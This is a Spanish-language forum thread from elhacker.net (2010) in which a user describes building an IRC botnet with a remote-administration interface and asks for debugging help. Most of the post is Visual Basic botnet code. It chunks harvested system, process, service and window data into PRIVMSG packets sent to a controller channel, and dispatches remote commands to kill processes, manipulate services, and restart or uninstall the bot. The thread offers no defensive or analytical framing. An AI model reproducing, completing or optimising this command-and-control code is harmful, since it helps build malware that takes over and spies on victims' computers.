Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: illuminat3d en 16 Noviembre 2010, 13:42 pm



Título: Problema con Botnet IRC
Publicado por: illuminat3d en 16 Noviembre 2010, 13:42 pm
Bueno, me explico, estoy haciendo una botnet IRC con interfaz usuario (parecido a un RAT) y tengo algunos problemas en el envio de datos, el protocolo IRC me limita bastante e intento escapar como puedo de esas limitaciones. Uno de mis primeros problemas es el envio de datos, yo envio los datos partiendolo en 429 carácteres, ya que los mensajes en los canales IRC no permiten mas.. por lo tanto mi método de envio es así :

Código
  1. Public Function Split_Data(ByVal Total_Data As String, ByVal Channel As String)
  2.    Dim lData              As Long
  3.    Dim lPack              As Long
  4.    Dim sData              As String
  5.  
  6.    'Total_Data = "[E]" & Huffman.EncodeString(Total_Data)
  7.    lData = Len(Total_Data)
  8.  
  9.    If s_Active = True Then
  10.        If lData > 429 Then
  11.            lPack = (Len(Total_Data) / 429) + 1
  12.  
  13.            While p < lPack
  14.                  If s_Active = True Then
  15.                        If p = 0 Then
  16.                                  sData = Mid$(Total_Data, 1, 429)
  17.                        Else
  18.                                  sData = Mid$(Total_Data, p * 429, 429)
  19.                        End If
  20.  
  21.                        Wait 2
  22.                        mSock.SendData mSock.CurrentSocketHandle, "PRIVMSG " & Channel & " " & sData & vbCrLf
  23.  
  24.                        p = p + 1
  25.                        DoEvents
  26.                  End If
  27.            Wend
  28.        Else
  29.                  Wait 2
  30.                  mSock.SendData mSock.CurrentSocketHandle, "PRIVMSG " & Channel & " " & Total_Data & vbCrLf
  31.        End If
  32.    End If
  33.  
  34.    p = 0
  35. End Function

Todo bien, lo que quiero resaltar es ese entero llamado p (numero de paquetes) que lo uso aparte de para ir contando los paquetes de 429 carácteres, lo uso para saber si todavía sigue enviando datos, porque las funciones cuando el servidor las recibe las pongo como en una especie de cola ejecutandose en un nuevo 'thread' :

Código
  1. Public Function set_Timer(ByVal hWnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
  2.    If p = 0 Then
  3.       Call KillTimer(hWnd, uElapse)
  4.  
  5.       Select Case uElapse
  6.               Case 1:       Sender_Info (s_Chan)
  7.               Case 2:       Sender_TotalInfo (s_Chan)
  8.               Case 3:       Sender_Process (s_Chan)
  9.               Case 4:       Terminate_Process (Command(2))
  10.               Case 5:       Sender_Services (s_Chan)
  11.               Case 6:       Start_Service (Command(2))
  12.               Case 7:       Stop_Service (Command(2))
  13.               Case 8:       Delete_Service (Command(2))
  14.               Case 9:       Restart_BOT
  15.               Case 10:      Close_BOT
  16.               Case 11:      Uninstall_BOT
  17.               Case 12:      Sender_Windows (s_Chan)
  18.               'Case 13:      Close_Window (Command(2))
  19.               'Case 14:      Hide_Window (Command(2))
  20.               'Case 15:      Maximize_Window (Command(2))
  21.               'Case 16:      Minimize_Window (Command(2))
  22.               'Case 17:      Show_Window (Command(2))
  23.       End Select
  24.    End If
  25. End Function

Como véis la p la uso como identificador para saber si sigue enviandose la anterior función para poder seguir con la siguiente... mi problema es que la p a veces (cuando el cliente envia muchas funciones seguidas) me falla como identificador y se para la acción anterior, envia la siguiente o simplemente hace un exceso de flood en el IRC.. no se me ocurre ningún identificador para eso.

Ese era mi primer problema, mi segundo problemilla (me interesa primero el anterior para resolver) es la lentitud de envio, sabiendo que envia solo 429 carácteres en cada paquete de envio y tiene que enviar mucha información, no sabría como saltarme ese limite de otra forma.

Saludos! =)


Título: Re: Problema con Botnet IRC
Publicado por: illuminat3d en 17 Noviembre 2010, 15:18 pm
Revivo el tema que se me va para abajo =( xDD